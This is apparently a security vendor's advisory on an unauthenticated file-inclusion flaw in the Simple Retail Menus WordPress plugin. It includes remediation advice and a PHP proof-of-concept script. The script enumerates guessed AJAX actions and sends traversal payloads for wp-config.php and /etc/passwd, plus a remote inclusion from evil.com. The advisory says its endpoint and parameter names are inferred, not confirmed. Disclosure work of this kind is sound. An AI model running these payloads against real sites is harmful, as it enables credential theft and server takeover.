Atomic Edge analysis of CVE-2025-69387 (metadata-based):
This vulnerability is an unauthenticated Local File Inclusion (LFI) in the Simple Retail Menus WordPress plugin, affecting versions up to and including 4.2.1. The flaw allows attackers to include and execute arbitrary files on the server, leading to remote code execution. The CVSS score of 8.1 reflects a high-severity risk due to the potential for complete system compromise.
Atomic Edge research infers the root cause is improper sanitization of user-controlled input used in PHP file inclusion functions like include() or require(). The CWE-98 classification indicates the plugin likely constructs a file path using attacker-supplied data without proper validation. This conclusion is inferred from the CWE and description, as the source code is unavailable for direct confirmation. The vulnerability description suggests the inclusion can target uploaded files, indicating the path traversal may bypass file type restrictions.
Exploitation likely involves sending a crafted HTTP request to a plugin-specific endpoint. Attackers can target the WordPress AJAX handler (/wp-admin/admin-ajax.php) with an action parameter related to the plugin, such as ‘simple_retail_menus_action’. Alternatively, direct access to a plugin file under /wp-content/plugins/simple-retail-menus/ is possible. The payload would manipulate a parameter, like ‘file’ or ‘template’, to perform directory traversal (e.g., ‘../../../../wp-config.php’) or include uploaded malicious files. Atomic Edge analysis suggests the attack requires no authentication or nonce.
Remediation requires implementing strict validation on all user input used in file operations. The plugin must sanitize file paths by baselining them to a known safe directory, stripping directory traversal sequences, and validating against an allowlist of permitted files. PHP functions like realpath() and basename() should be used to normalize paths. The fix should also enforce proper capability checks on any administrative file inclusion functions.
Successful exploitation grants attackers the ability to execute arbitrary PHP code on the server. This leads to full site compromise, including sensitive data disclosure from the database (like user credentials), creation of administrative accounts, and deployment of webshells for persistent access. Attackers can also leverage the LFI to read critical server files such as /etc/passwd or WordPress configuration files, facilitating further network penetration.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69387 - Simple Retail Menus <= 4.2.1 - Unauthenticated Local File Inclusion
<?php
/**
* Proof of Concept for CVE-2025-69387.
* This script attempts to exploit a Local File Inclusion vulnerability in the Simple Retail Menus plugin.
* The exact endpoint and parameter are inferred from common WordPress plugin patterns and the CWE.
* Assumptions:
* 1. The plugin registers an AJAX action hook without capability checks or nonce verification.
* 2. A user-controlled parameter (e.g., 'file', 'template', 'path') is used unsafely in an include/require statement.
* 3. The target site has the vulnerable plugin (<=4.2.1) active.
*/
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common AJAX action names derived from plugin slug. Attackers would enumerate these.
$possible_actions = ['simple_retail_menus_load', 'simple_retail_menus_get', 'simple_retail_menus_template', 'simple_retail_menus_action'];
// Payloads to test for LFI. The first attempts to read wp-config.php. The second tests for PHP execution if a malicious file (e.g., uploaded image with PHP code) is known.
$payloads = [
'file' => '../../../../wp-config.php', // Directory traversal to read WordPress config.
'template' => '/etc/passwd', // Unix system file read test.
'include' => 'http://evil.com/shell.txt' // Remote file inclusion test if allow_url_include is enabled (less likely).
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
foreach ($possible_actions as $action) {
foreach ($payloads as $param => $value) {
$post_data = ['action' => $action, $param => $value];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for indicators of successful inclusion.
if ($http_code == 200 && $response) {
if (strpos($response, 'DB_NAME') !== false || strpos($response, 'database') !== false) {
echo "[SUCCESS] Possible LFI via action '$action', param '$param'.n";
echo "Response snippet: " . substr(htmlspecialchars($response), 0, 500) . "nn";
} elseif (strpos($response, 'root:') !== false) {
echo "[SUCCESS] System file read via action '$action', param '$param'.n";
echo "Response snippet: " . substr(htmlspecialchars($response), 0, 500) . "nn";
}
}
}
}
curl_close($ch);
echo "PoC enumeration complete.n";
?>
